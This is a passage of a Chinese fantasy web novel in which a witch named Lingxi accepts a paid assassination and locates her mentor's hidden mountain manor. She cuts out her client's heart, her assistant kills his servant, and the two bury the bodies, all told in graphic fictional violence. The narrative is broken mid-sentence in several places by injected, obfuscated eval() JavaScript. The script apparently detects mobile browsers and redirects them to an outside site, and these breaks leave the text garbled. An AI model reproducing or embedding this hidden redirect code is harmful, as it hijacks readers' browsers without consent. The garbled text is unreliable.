王弛两眼放光,接过三更萝,小心翼翼地包好收进怀中,裂开嘴露出一颗闪耀的金牙,笑呵呵地从钱袋摸出两粒碎银推给灵汐:“这位娘子爽快!这是定金您先收下,事成之后,尾金必有重谢!” “三两黄金。”灵汐笑意不变,语气平缓地提出了要求。 一旁的缇娅瞪大了眼睛,又连忙垂头盯着脚下以不至于太过失态。 后方绯娅的脸“嗖”一下转向灵汐,幸好有面具挡住了她的表情。 渡沙则不紧不慢地从怀中掏出纸笔记下报价。 王弛也放下嘴角收起了金牙,一时间僵住动作。 倒是他身后的瘦削男人“刷”一声将刀出鞘三寸,举到灵汐面前:“你狮子大开口啊!” 灵汐连眼都没眨一下:“王大人,我下的巫咒,任谁来验尸都只会认为是突发心疾,包您没有后顾之忧。您以后是要一步登天的,三两黄金清除障碍,不是很值吗?” 王弛缓缓压下侍从的刀柄,耷拉着眼角道:“口气倒是不小,这位巫娘子怎么称呼?” 灵汐眼前浮现那粉紫色的三更萝,随口编了个名字:“紫萝。” “好!紫萝娘子若是真能将此事办成,三两黄金就三两黄金!” 交易达成,王弛两人便离开了缇娅的院子。 灵汐望着空荡荡的青石板小路,发出懊恼的哀嚎:“要少了啊!他那么痛快就答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说得对,我明天就走!” “不行!王弛还会回来的!我可不会接管这一单,你不怕天道降罚我还怕死呢!你接的活儿你得负责到底!” “他带猪心来的话,你用法阵传给我不就行了!这就是那个法阵的用途啊!”灵汐遥遥指着几个时辰前刚刚画下传送阵的房间,“刚好我在别的地方施咒,天道降罚也劈不到你!” “好,就这么说定了!他来了我就传信于你,你可要记得这回事!”缇娅一手托掌一手成拳,清脆相击,接受了灵汐的提议。 两人就这么一来一回敲定了对策,一旁的绯娅终于插得上话:“可是干涉政斗……很危险啊……灵汐姑娘你确定吗?” 灵汐摆摆手道:“没关系,我敢答应他就是心里有谱。” 面对不久前还绑架自己的灵汐,绯娅倒是露出感激的表情:“那你也算是帮我们解决了一个大麻烦,那王大人不是个好相与的角色,我们两个不答应怕是也没法在这里待下去了,总之谢谢你!还有抱歉打扰你歇息了,距离天亮还早,你继续回去休息吧!” . 第二天一早,灵汐起床时,院中的黄果树已经只余一片绿油油,不见半个果子。 吃过早饭后,灵汐便带上渡沙,唤回吃饱喝足在山间撒欢的飞雪,离开了大旸山。 车厢在空中逐渐平稳之时,渡沙才开口询问:“我们去哪儿?” “往东走,九幽山。” 灵汐儿时听师尊说过,师尊年轻时曾来大荒大陆游历,于九幽山有一故居。 灵汐九年前来大荒寻找师尊时曾经去过九幽山,可惜别说师尊的人了,连故居的影儿都没找到。 如今想来,当初没能找到,可能是因为自己等阶不够高,无法识破师尊的隐匿之术。 多年过去,灵汐巫力大增,已达至高境界。 现在的她已经比当初的师尊境界还高了,就算是师尊施下的隐匿之术,应该也难不倒她。 7. 扶月山庄 在去九幽山的路上,灵汐收到了灵山的消息——监律使已整装待发。 灵汐将九幽山的地址给了灵山,灵山在大荒中南,而九幽山在大荒东陆,就算使者有灵兽坐骑,赶过去也得用个六七天。 灵汐只期望王弛能赶在使者到达之前带来巫咒载体了。 已经安排好今后与缇娅的远程联络方式,不用再急着赶路。于是走走歇歇,整整两天后,两人一孰湖才到了九幽山。 九幽山山体巍峨,连绵似海不见尽头,峰峦层叠似波涛起伏。 灵汐降落在林海当中,低下身子抚摸大地,感应着庞大山体每一处的灵气涌动。 林木花草,泉眼涧溪,山风轻动,鸟兽啼鸣,灵汐能够感受到每一方寸间的灵气流动,全身心沉浸其中,就连心跳都逐渐与大地脉搏同频。 就这样雕塑般定住好半天,灵汐才收回神思,睁开双眼。 “如何?有发现吗?”渡沙递来水囊。 灵汐接过水润了润喉咙,眼中思虑重重不见悲喜,缓了缓才轻轻开口:“这山上的确没有师尊说的什么故居,灵气流动也没有任何阵法结界的痕迹。” “是不是时隔太久,你说的故居已经被人拆了?”渡沙猜测道。 灵汐若有所思地摇了摇头:“不会,师尊不喜欢人族吵闹,她的故居一定不在人族平日的活动范围内……而且,我也不是没有发现——” 灵汐指向层峦叠嶂中的一处山峰,道:“这段山体,灵气过于充裕了。” 虽然整座山脉都林木蓊郁生机蓬勃,是个孕养灵气的好地方,但此段山体的灵气,已经超出表面上的灵气载量了。 两人乘着飞雪朝灵气格外浓郁的山段飞去,一道深不见底的山缝映入眼帘——一道百米飞瀑将山岩劈开,形成蜿蜒曲折的狭长岩缝,将厚重山体一分为二。 留飞雪在山上随机应变,灵汐和渡沙乘风跃下,落入山缝之中。 山缝中一侧崖壁底部凸出来一条窄窄的岩道,两人落在岩道上,低头看另一侧是深不见底的山溪河道,抬头是狭窄细长的一线天光。 飞瀑周围水花飞溅如落雨,空气清爽湿润,寒凉逼人,哪怕空中烈日高挂,山中也隔绝了所有暑气热浪。 岩道湿漉漉亮晶晶的,两侧石壁长满了苔藓和蕨草,一串串水珠络绎不绝地从岩壁淌下,汇入下方山涧。 此处位于深山之中,人迹罕至,这岩道看似粗糙却又如此便于通行,走了一段后甚至有石阶供人上下,灵汐更加坚信这一定是师尊或是师门前辈留下的痕迹。 然而两人沿着岩道走了很久,仍不见任何建筑。别说供人居住的楼阁瓦舍,就是歇脚的亭台桌凳都无。 这望不见尽头的一线天中,仿佛只建了这条望不见尽头的漫漫长道。 远离瀑布后,岩道不再那么湿淋淋的了。灵汐寻了处石阶坐下来,一手托腮道:“不行,再这么找下去,恐怕和我用灵气探寻的结果一样,什么都发现不了。” 渡沙也停下来坐到灵汐旁边:“那怎么办?” 静默几息后,灵汐转头看向岩道一侧的石壁:“这边的灵气太浓了,一定有什么东西。既然找不到线索,那就统统劈了吧!如果是什么重要的东西,上面一定会有保护措施的,劈一劈就能知道在哪儿了” 说干就干,灵汐当即撸起袖子,双手抚上石壁,感应到这段山体每个角落一草一木的气息后,默念几句咒语—— 一瞬间狂风骤起,天空中散落的几朵白云迅速被推到山体上空,聚成黑压压一片,黑云翻滚间电光隐现,伴随着震耳欲聋的隆隆轰鸣,斗折蛇行的狰狞雷电从云中袭向山体! 一道,两道,三道……灵汐可以清晰感知到雷电不断降在山体各处,爆起一路火花,轰出一片焦糊苦味。 眼前一阵白光频闪——不对,她眼前明明是山石岩壁,哪来的白光? 灵汐被烫到般缩回双手,止住咒语,雷电停歇,等了好一会儿却不见任何异常,岩壁还是那个岩壁,苔藓还是那片苔藓。 是幻觉吗?灵汐转头向渡沙确认道:“你看到了吗?” “看到了,”渡沙语气凝重,“这层石壁,有一瞬间,变透明了。” 没错,有那么一瞬间,第六七道雷电落地之时,岩壁闪了闪变得透明了,灵汐恍惚间甚至看到了石壁之后隐藏的景色——有花,有树,有九曲游廊,亭台楼阁。 灵汐与渡沙对视一眼,谁都没有说话,但彼此已心知肚明接下来要干嘛。 灵汐一只手抚过岩壁,坚硬冰凉的触感骗不了人,拨开一角苔藓,还能摸到结了块的泥土。 是真的山壁不假。 但一定暗藏玄机。 灵汐以甲为刃在掌中划开一道血口,将鲜血混着灵气描画出一道笔画复杂的图腾——那是无尽夏岛上结界的解封之咒,是师尊亲自教她一笔一笔学会的师门图腾。 将图腾印上石壁,石壁泛起荧荧幽光,青灰颜色褪去,显出一方一人多高的结界一角。 咽了咽口水,灵汐抓起渡沙一只手,交换过眼神,两人便一前一后走进了结界。 进入山体,便是另一方天地。 眼前是一片万紫千红的锦簇花园,花海后是一泓碧水,水中莲叶簇拥粉荷傲立,水上九曲回廊如白蛟卧波,两三间六角小亭立在水廊曲折处,或轻纱曼舞,或风铃作歌。 越过水面,青枝绿叶间可见数座楼阁矗立,红木青瓦被岁月浸泡得已有些斑驳陆离。 然而,最令人瞩目的不是藏在山体中的建筑群,而是楼阁之后高耸入云的庞然大物——一棵巨型榕树。 巨榕主干比一旁的飞檐高阁还要宽大,枝繁叶茂,拔地参天。 抬头望去,巨榕壮若棚屋的分枝又垂下无数气生根扎进地面,从四面八方支撑着榕树硕大的身躯——灵汐刚进来时以为花园中也有树木林立,仔细看去原来都是同一棵树的支柱根。 山体顶端的泥土岩石从内里看去全都不见踪影,透过葱郁树冠的斑驳罅隙,通明天光竟能直射入山体内部世界,从下望去,还能看到山顶云层被风吹散的光影变换。 整座山体就像被挖空了蟹肉、又注入鱼泥的青蟹壳,从外看去仍是一只普普通通的青蟹,而内里早就被换了血肉。 而这仅剩的外壳,不知是用了什么术法,竟然可以完全隔绝外部的灵气探查,连天示境的灵汐都没有发现山体内部的奥妙,甚至直到现在都没有在这层外壳上发现任何结界痕迹。 要不是灵汐境界高深,对灵气掌控已是炉火纯青,但凡换个人来,都绝对发现不了这藏在山体内部的神秘山庄。 灵汐和渡沙呆愣地望着这山中世界,一时失语沉默。 定定站了好一会儿,渡沙率先打破沉默:“你怎么哭了?” 灵汐抬手摸了摸脸,一片湿凉,用袖子抹去泪水,吸了吸鼻子道:“我小时候也来找过这里,当时怎么都找不到,我都怀疑是不是师尊在诓我了……没想到,现在回来,竟然这么容易就找到了……小时候觉得不可能的事,没想到长大后这么容易。” 灵汐顶着水光盈盈的眼睛,露出一抹笑容,渡沙有些不太明白她到底是高兴还是难过。 “走吧,进去看看。”不待渡沙想个明白,灵汐已经走入花海了。 . 略过亭台楼阁,两人直接来到巨型榕树上登高望远。 这山中庄园占地颇广,八成真是挖空了整座山体建起来的。 不过其中地貌却并未经过太多雕琢,地势起伏不定,水道颇多。屋阁楼宇星罗棋布,高低错落,可惜处处草木茂盛,遮墙掩瓦,难辨全貌。 建筑之间、水面之上满是小道游廊、上下石阶,还有巨榕的活根桥相连,活脱脱一方青碧棋盘上的纵横迷宫。 “我们可千万别走散了。”灵汐语重心长道。 渡沙点了点头:“好的。” . 两个时辰后,月亮已经爬上了榕树顶,灵汐瘫在一把摇椅上看着窗外寂静无声的树影摇摇晃晃,渡沙还在一一检查室内的各个角落。 两人已经查看过多间殿室,无一例外都积了厚厚一层灰尘,显然已许久没有生活痕迹。 这里的过往都被尘封,只有植物疯长,许多屋舍已被爬藤植物侵入、覆盖。草木行动迟缓,却也在一点点吞噬整座庄园。 “主人,你来看。”渡沙拿着夜明珠蹲在一方八仙桌旁呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯……也行,你自己想叫什么就叫什么吧!”灵汐内心挣扎一番,选择妥协,“今天就到这里吧,先睡觉!” 两人临时收拾出一张床铺,便挤作一团睡去了。 . 第二日,灵汐醒来时,渡沙正坐在床边静静盯着她。 灵汐睁眼又闭眼,闭眼又睁眼,反复确认不是幻觉也非梦境,才开口道:“你为什么一直盯着我?” “不能分开行动,我在等你一起行动。”渡沙字正腔圆道。 “……”严格来说,她做得对。 灵汐起床后第一件事,就是帮渡沙隐藏身份。 一手扶着渡沙后脑,一手在渡沙眼前画了两圈又左右点了点,那双赤红双瞳便逐渐覆上一层黑纱,瞧着与人族无异了。 “如果被巫族发现你的魔族身份,会比较麻烦。等监律使来之后,你还是装作人族吧,就说是我刚收的助手。你之前藏在神庙里,缇娅完全没发现,说明你隐藏魔气已经藏得非常好了!只要注意一下不要施术,就不会被发现的。” 灵汐顿了顿,又补充道:“就算被发现也没关系,如果使者攻击你,你大可以往死里还手,一切问题包在我身上!” 两人花了一天时间将庄园参观了个大概,发现自己进来的地方应该是庄子的后花园,因为两人绕到反方向时发现了庄子的大门。 尽管门前柱子上已经爬满了朝颜??花,但门上匾额仍完好无损,上题“扶月山庄”四个大字。 扶月山庄,灵汐的师尊名为司月。 灵汐确定这不是巧合,这就是师尊以前提到过的“大荒故居”。 “我们以后就在这儿住下吧!”灵汐拍手决定。 如果司月还活着,来这里的可能性总归大一些。 如果司月已经不在人世,这里一定也有她在大荒生活时的蛛丝马迹,说不定就有什么线索。 这里三四年前还有人来过,要么是司月,要么就是和司月有关的人。 总之,在大荒各地流浪多年的灵汐决定在这里守株待兔。 8. 杀人之愿·中 敲断烧黑的树干,剥开焦脆的木炭,挖到地面之下时终于找到在雷电中幸存下来的根系。 灵汐划开手掌将血液滴在树根,念了几句咒语,树根便发出几枝嫩芽,迅速拔高变粗、直至长到一人多高,灵汐才停下咒语。 将木炭埋进树根周围的土壤,灵汐朝小树深深鞠了一躬:“对不起!对不起!对不起!虽然我是故意的,但是真的很抱歉!以后我会好好照顾你的!保证把你养得比之前还要高大茂盛!” 灵汐正碎碎念着,渡沙挎着竹篮来到旁边,将满满当当的篮子递给灵汐检查。 “你这边搞定了吗?我采到了这些吃的,现在去煮吗?” 灵汐随手捡起一根小树杈在篮子中扒拉几下,里面有杨梅、桑葚、各种野菜和山蕈,夹起一只通体雪白的山蕈,灵汐道:“渡沙,你看这种菌子,记住它,有毒的,剧毒。” “不是说颜色鲜艳的才有毒吗?”渡沙面无表情地提问。 “有些长得朴素的也有毒,你记住它的样子就好了。”灵汐将篮子中的食物一股脑倒出,“这些都不能吃了,你快去洗手吧,我去找吃的。” 数日以来,灵汐和渡沙仔细搜索扶月山庄内的每个角落以寻蛛丝马迹,找得烦了灵汐就来山上修复被雷劈毁的树木。 时至今日,山庄大致搜索了□□成,找到的线索聊胜于无,山上的草木倒是全修复完了。 灵汐在山涧中抓了两条肥美的青鳞白肚鱼,与各种野菜山蕈煮在一起炖成一锅杂菜鱼汤。 趁着灵汐煮汤的时间,渡沙则继续搜寻山庄中的几个房间。 灵汐将鱼汤端上桌时,渡沙刚好搜完一间书房,捧着一只锦盒献给灵汐道:“我找到了这个,打不开。” 灵汐接过锦盒瞧了瞧,引灵气勾画几笔,破坏掉封印打开锦盒,只见其中藏着几颗水滴形的褐色种子。 灵汐拿出种子掂了掂,闻了闻,越看越眼熟:“这是罗骨花的种子啊,无尽夏岛上也有呢!” “不过这种花是食肉的,很难养,我在无尽夏时种过一棵,结果饿死了。”灵汐将种子放回锦盒,重新加上封印锁,“还是先收起来吧,现在也没条件种它。” 两人各自分了一海碗五颜六色的鱼汤,灵汐嘴上咀嚼动作不停,脑中思路却越飘越远,自己也不知道在这里能找到什么、能等到什么。 “唉——”渡沙长长叹了一口气。 灵汐颇感意外,渡沙平时几乎从不表露自己的情绪,于是飞快动脑,关心道:“你是不是想飞雪了?” 渡沙面无表情地看着灵汐,不承认也不否认。 灵汐继续解释道:“飞雪是孰湖,她有自己的族群,她给我帮完忙是要回自己家的。我昨晚感应过了,她已经回到自己家那片山了。你要是想她,我们以后有空了可以去看她。” 渡沙静静听灵汐讲完,没有回应,继续夹起一块鱼肉送进口中。 灵汐只当她接受了自己的提议。 . 当夜子时,灵汐迷迷糊糊中被渡沙叫醒:“小姐,灵汐小姐,醒醒,缇娅来信了。” 灵汐睁开眼,只见窗外还是漆黑一片,嘟囔着抱怨:“大半夜的要干嘛?” “那个王弛去找缇娅了,他要求今晚施咒。”渡沙声线平稳,丝毫没有被打扰睡眠的小情绪。 灵汐将脸埋进手臂里,这几天忙着扶月山庄的事,差点把这位半路接的野生事主给忘了,闷闷的声音从臂弯传出来:“怎么专挑半夜找巫师,他也知道这事不光彩,只能偷偷摸摸干啊……” 吐槽之后灵汐一个旱地拔葱,起身拍拍脸,手动唤醒工作状态,道:“你让缇娅把猪心放到传送阵上,我去启动阵法,马上给他施咒。” 不一会儿,桌上阵纹亮起辉光,熄灭之后,阵眼中心出现一个巴掌大的敞口陶碗,里面是一颗不足半拳大的心脏,煮熟了的。 …… 灵汐凝视许久,两颊鼓了鼓,才问渡沙确认道:“这是……煮熟了吗?” 渡沙平静点头:“是的。” “哈——”灵汐从渡沙手中拿过通信竹,给缇娅传信: 『这是什么?给我的宵夜吗?』 『这是事主带回来的猪心。』 灵汐两指拿起碗中弹软的心脏捏了捏,又丢回碗中。 『先不讨论煮不煮的问题了,这是猪心吗!这明明是羊心!』 『他说这是猪心。』 灵汐气笑了,曲起指节重重敲了敲额头,沉默良久后长呼一口气:“有个术法我一直都想试试,但不想拿自己试,也一直没有其他合适的人选,看来今天可以试试了。” “什么术法?”渡沙询问道。 灵汐敲了敲桌上画的阵法,冷声道:“传送阵。” 灵汐闭目展开神识,无数喧嚣斑驳的灵气之间,努力顺着自己的印记感应到数千里外的另一处阵法。同时唤起大旸山和九幽山两处灵气,两处阵法双双辉映,灵光描出的阵纹渐渐浮至半空—— “此界彼方,虚镜两面,一帷开,山海连!” 阵眼中心的光点随着咒语越长越大,随后光斑开裂,似是生生撕开了一道空间口子,裂口中间出现了千里之外的景象—— 缇娅站在紧闭的房门前,万分惊惧地看着传送阵另一头的灵汐。 “砰”地一声,戴着鬼眼面具的绯娅推门而入:“怎么了!灵气波动这么——” 声音戛然而止,鬼眼面具被缓缓扯下,于是两张一模一样的面孔在一左一右露出同样目瞪口呆的表情。 “那个事主呢?叫他过来。”省去客套的招呼,灵汐直奔主题。 缇娅率先反应过来,收拾好表情跑出去叫人。 绯娅看着妹妹的背影,想跟上又停住,手忙脚乱地把面具扣回脸上。 没多久缇娅带着王弛及其侍从来到法阵前,两个男人齐齐露出讶异之色,喊着“神迹!真乃神迹”就要跪下。 灵汐在法阵这头引风托住两人膝盖,挥挥手道:“过来,到这边来。” 两人一眼不错地打量着空间裂口,走到前方试探性地伸出一只脚跨过去,踩到坚实地板后才放心地将重心移过去,抬起另一只脚也跟着跨过来。 一步之遥,只有短短一瞬,却被无限拉长。 灵汐面上冷淡,目光却十分紧张地追随着两人的动作,直到两人完完整整地站在自己面前,高呼“巫师神通,法力无边”时,灵汐才扬起一抹笑意——成功了。 以前从没试过用传送阵传人呢,这还是第一次。 关闭法阵,端着羊心将王弛两人引到室外一方凉亭,点上一圈烛火,这方凉亭就成了飘荡在黑夜中的一只发光水母。 灵汐与王弛相对而坐,开启正题:“王大人,上次可能是我没说清楚,是我的错,今天我再说明一下,我施咒要用生的猪心,你拿的这个,不能用哦!” 王弛面色一僵,随即小眼一眯笑呵呵道:“紫萝大巫师,您神通广大,法力无边!这是生是熟,应该不影响您施咒吧!您是不知道,这熟的我也是好不容易避人耳目收存起来的,要让我去拿个生猪心保存,实在好生奇怪,惹人起疑啊!” “如果你连这一丁点风险都不想担,那就不要咒杀别人啊!”灵汐勉强保持着嘴角的弧度,“友好”建议道。 王弛作了一揖,脸上的肉笑得堆成一团:“大巫师,我已经见识到您的神通了!您大人有大量,就放过我这个小小错误吧!我愿意加钱!快,猴子,拿过来!” 王弛挥挥手,身后侍从便笑嘻嘻地取出一个小木盒,弓着腰地将盒子双手奉上。 王弛打开木盒,转向灵汐,里面躺着三块小小的金锭子。 “说好的三两黄金,您请笑纳!事成之后,我愿意再送来三两,祝您六福临门!” 灵汐一手挡脸打了个呵欠,又竖起手指尖敲了敲木盒边缘:“王大人,就算您加再多价,今天我也没法施咒。我说了要生猪心,不能是煮熟的,也不能是其他动物的心脏。” 王弛像是被人踩了尾巴,声调一下高起来:“哎呀,关键是您上次也没说要生的还是熟的,所以我才带了熟的过来嘛!这也不能算我的错吧!” 灵汐抿了抿嘴,一时沉默,渡沙适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305750|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时拿着一朵刚从花丛中采下的三更萝来到身边。 灵汐给花施了术法递出去:“王大人,再给你一朵花,你回去重来一遍吧,一半喂给你要杀的人,另一半……” 灵汐话没说完,就被王弛粗声粗气地打断:“紫萝巫师,我没时间再来一遍了!实不相瞒,我们不日就要举兵起事了,下一次和章毅相见,恐怕就是庆功宴上了,我可不想等兄长为他封赏完再杀他!” 灵汐努力上扬的嘴角降了下来,沉吟片刻后问道:“王大人,我实在有些好奇,你们为什么会,嗯,主动挑起战争?” 王弛满是骄傲得意之色:“这玉林、郦郡两地,本来就是我兄长带兵打下来的,我王家做这一方之主,那不是理所应当吗!” “不满足于郡尉之位?” “人往高处走,谁不想往至高之位争一争!” “只是为了权力地位?” “只是?这可不能用‘只是’形容啊,那是数不尽的荣华富贵!嘿嘿,紫萝巫师,要是您今天能帮我这一把,我日后可以把您引荐给我兄长,封一个国师之位,您也能享尽尊荣!” 王弛止不住的志得意满从眼缝里漫出来,仿佛已经坐上了万人之上的至高之位。 灵汐则有些皮笑肉不笑:“王大人,说实话,关于生熟问题上是我没说清楚,所以如果你带来的是煮熟的猪心,我愿意费些心神为你施咒。但是,这都不是猪心啊。” “啪”地一声,王弛一掌拍在石桌上:“这当然是猪心了,不然还能是什么!” 灵汐咬咬牙,压下心头涌起的怒火:“这是猪心吗?” “这就是猪心!你如此推三阻四,莫不是想毁约吧?你都收了定金了,可别不想办事!” 灵汐的目光冷硬起来,声音却比无波无澜的湖面还要平静:“我再问最后一遍,这是猪心吗?不要糊弄我。” “当然了!”王弛吹胡子瞪眼,坚持自己的说法。 灵汐盯着王弛渐渐勾起嘴角:“王大人,我知道这是羊心,你骗不了我。不过,如果你坚持的话,那我现在也能施咒。” 王弛脸色青青红红几经变化,最终尬笑一声:“害,我就知道您有办法!你说你,怎么还想藏锋呢!实不相瞒,现在达官显贵都流行吃羊肉,我去田庄上自己选个羊、喂喂草,煮羊汤时要个羊心,这才顺理成章嘛!我要是突然起兴去喂猪,这这这多掉价啊!人哪,就是得学会灵活变通,不能太死板!您说说早点答应多好,还东拉西扯那么久!” “对啊对啊,我们大人也是迫不得已,您多多体谅!”叫“猴子”的侍从也嬉皮笑脸地附和道。 灵汐面带微笑着听对面唠叨完才轻轻开口:“你知道我为什么坚持要猪心施咒吗?因为猪心和人心最相似,连接共鸣最方便。” 灵汐表情不动,竖起两根手指朝王弛一挥,“不过,其实猪心也是退而求其次的选择,最好的选择,是人心。” “啊!什么东西——” 王弛和侍从同时传来尖叫声,只见无数游蛇般的藤蔓从花草从中爬出,飞快缠上两人身体,两人拔刀一气乱砍,却被更多源源不断的藤蔓缠上持刀手臂、缠上奔逃的双腿、缠上扭动的腰背…… 没用多久,两人都被藤蔓紧紧裹缚住,团成两团结结实实的巨茧,只留头部还在外面。 叫“猴子”的侍从跑得比王弛还快,已经到了凉亭之外的石板路上,淹没在藤蔓之中还不停挣扎:“长史,长史!放开我们长史!我,我和你拼命——” 一根藤蔓堵住了“猴子”的嘴。 王弛呼呼喘着粗气质问道:“你,你什么意思!你知不知道我兄长是谁!” 灵汐缓缓站起身,一手从碗中抓起羊心走到王弛面前,冷声道:“既然没有猪心,那我就自己动手找最好的材料了。” 王弛脸涨得通红,却挣不开一根藤蔓,赶忙求饶道:“紫萝大巫师,有事好商量!有事好商量!就按你说的,我重新回去下药,我重新回去——” 灵汐猛地将羊心塞进王弛口中,堵住了所有声音。 “晚了,说了今晚就今晚。” 9. 杀人之愿·完 “晚了,说了今晚就今晚。” 羊心很快便化成汤水进了王弛肚子,灵汐竖起一根手指:“嘘——” 噤声咒下,王弛的喉咙像是被什么东西紧紧掐住,一丝声音都发不出来。 灵汐朝渡沙摊开一只手,渡沙立刻递上一把通体黑亮、柄上刻有鱼鳞纹的双刃匕首。 灵汐控制藤蔓将王弛仰面平放,扒开胸前衣领露出泛着油光的皮/肉,王弛仍在不断挣动,张着嘴口型不断变化,却只能发出微弱的“嗬嗬”声。 灵汐无心分辨他在说些什么,只是冷漠地看着那只金牙一隐一现,冰冷的眼睛如一对金色琉璃珠,没有情绪流转,只有幽幽烛火的倒影在闪烁跳动。 无声审度了一下心脏位置,灵汐手起刀落,刺破王弛胸前皮肤,又微微向上提了提避开卡住刀刃的骨骼,压下刀柄划开长长一道口子,鲜血喷涌而出,都被挡在灵汐身外两寸。 纵横三刀下去,灵汐用手掀开皮/肉,“咚咚”跳动的心脏一角出现在眼前。 施下冷冻之术,以心脏为中心,五脏六腑皆凝出冰霜,陷入静息。 避开整齐排列的胸骨,刀刃以一种刁钻的角度刺入肺叶之后,手腕灵活地翻转勾挑几下,灵汐便利落地拿出一颗完好的、还带着一层白霜的心脏。 而王弛狰狞的面目被定格,早已无声无息地没了生气。 灵汐凝神唤醒另一半三更萝标记,连通两颗心脏——“同气连枝,如影附形!” 掌中心脏褪去白霜,与被标记的另一颗心脏共感,重新跳动起来,看上去诡异得很。 灵汐双手拢住跳动的心脏,默念咒语向其施压,心脏跳动开始失去节奏,时快时慢,缓停又痉挛,痉挛又平息……没过多久,相隔千里的两颗心脏便同时失去动力,归于死寂。 血水顺着灵汐的手滴答滴答地落在地板上,开出一朵朵鲜红小花,灵汐看着手中心脏,确定再无复苏可能。 “咔!” 清脆的断骨声打断了灵汐的思绪,抬眼望去,渡沙站在另一团藤茧旁边,那侍从的脑袋以一种惊悚的角度朝下耷拉着。 “你教过了,斩草除根。”渡沙挺着胸膛字正腔圆地说。 灵汐脸上寒冰融化,漾出一丝笑意,朝渡沙竖起大拇指:“嗯,真棒!” 渡沙的嘴角微不可查地上扬:“其他人呢?” 灵汐立即明白她在说什么,分析道:“这个王弛为了避人耳目,每次都特意在深更半夜出来,他身边人八成也不知道他找巫师的行踪,只要缇娅那边不说,应该没人会知道的。至于缇娅绯娅,她们应该还不想尝试背叛我的代价。” 渡沙点点头道:“那尸体怎么处理?” 灵汐打了个长长的呵欠,将心脏塞回血淋淋的□□,走到亭外山石上一处泉眼流水,清洗双手血迹:“这山庄里连个老鼠都进不来,没人会发现尸体的,先回去睡两个时辰吧,我太困了,睡醒了再处理吧。” 回笼觉前灵汐还不忘将一枚小金锭塞给渡沙:“给你的,自己存起来。” “为什么?” “这是你的工钱。你现在是我的助手,干活是要拿工钱的!” “存在哪里?” “你找个荷包袋子抽屉什么的,不用告诉我,你自己知道在哪儿就行。等有空了我带你去城里玩儿,你就可以自己买东西了。” 剩下两枚金锭,灵汐又捏起一枚放在传送阵上传给缇娅。 『一两黄金,算是你的介绍金吧。』 『你真帮他施咒啦?』 『对。』 『那他人呢?怎么没传回来?』 『这你就别管了,任何人问起来,你就说没见过他。』 对面沉默许久,灵汐已经躺上床时,才收到缇娅的回信: 『你,抢钱杀人啊?』 『什么抢钱?我如约帮他施咒了,这些钱是我应得的好嘛!』 『好的,我明白了,最近一个月我从没见过他。』 . 两个时辰后,渡沙准时叫醒灵汐,去处理尸体。 清晨的天光雾蒙蒙的,总让灵汐有一种自己眼花了的错觉,当然,也可能是还没睡醒所以眼睛还不想上工。 “渡沙,但凡是其他人这么早叫我起床,我都会发火的。”灵汐施了控物之术,两具尸体飘在身后,跟着她向后花园前进。 渡沙有些不解:“不是你说睡两个时辰就起来处理尸体吗?” 灵汐大为震惊,实在想不明白渡沙是如何将睡眠时间精准控制在两个时辰的。 到了偌大的欣欣向荣的后花园,挖哪儿也是个问题。 看着两具冷硬的尸体,灵汐思考片刻,做了一个大胆的决定。 “渡沙,你还记得我们找到的罗骨花种子吗?罗骨花吃肉才能活,我们现在刚好有肉,不如用来种花吧?” 无论灵汐提出多么丧心病狂的主意,渡沙依然点头道“好”。 于是灵汐在花园边缘、某根巨榕支柱根旁边,找了片空地挖坑埋尸。 进行到一半,灵汐腰间的通信竹亮起——监律使已到达九幽山。 可真会挑时候。 灵汐拦住取罗骨花种回来的渡沙,细细教她如何撒种、浇水、掩盖翻土痕迹之后,便匆匆离开去见传说中的监律使。 . 九幽山一脉最东边的那座山上,被附近人族立了一座山神庙,灵汐便与监律使约在了山神庙见面。 灵汐赶到时,远远望见门内站着一青白衣衫、挺拔如竹的修长身影。 走近之后,青衣人影转过身来,衣上竹叶暗纹随光影流动,剑眉星目十分周正,但眉骨压得很低,配上高鼻薄唇和锋利的下颌线条,显得整个人十分严肃。 灵汐一眼认出他来。 “是你?”灵汐的脸皱成一团。 是当初在灵山集会时见过的青衣巫觋,今日他没穿灵山学子服,换了一身青色便服。 青衣巫觋点了点头:“在下青竹语,奉十巫之命担任监律使之职,从今日起监督你的一言一行,定期向灵山汇报,直至三年期满。” “呵呵,”灵汐皮笑肉不笑地应了一声,“认真的吗?派了个巫觋过来?” 不是灵汐歧视巫觋,只是男巫在灵力感应的天分上普遍不如女巫,高阶巫师中男巫十分稀少,灵山十巫更是全员女巫,很难想象为什么监督她这个危险分子的活儿会派一个男巫来。 不过…… “既然你能入灵山当学子,难道是什么千年难得一遇的天才巫觋?”灵汐猜测道。 青竹语正色道:“灵山遴选学子并不只看术法能力,更重要的是看是否有守护我族的信念以及本心品性。” “哦,那你什么境界?” “……抚生境。” 在巫觋中倒也算是拔尖的了,不过让他来看着灵汐,说是以卵击石也不为过。 灵汐默默腹诽,自认为十分善良地没有说出口。 “走吧。”灵汐转身向门外走去。 “你住在哪里?”青竹语随即大步跟上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 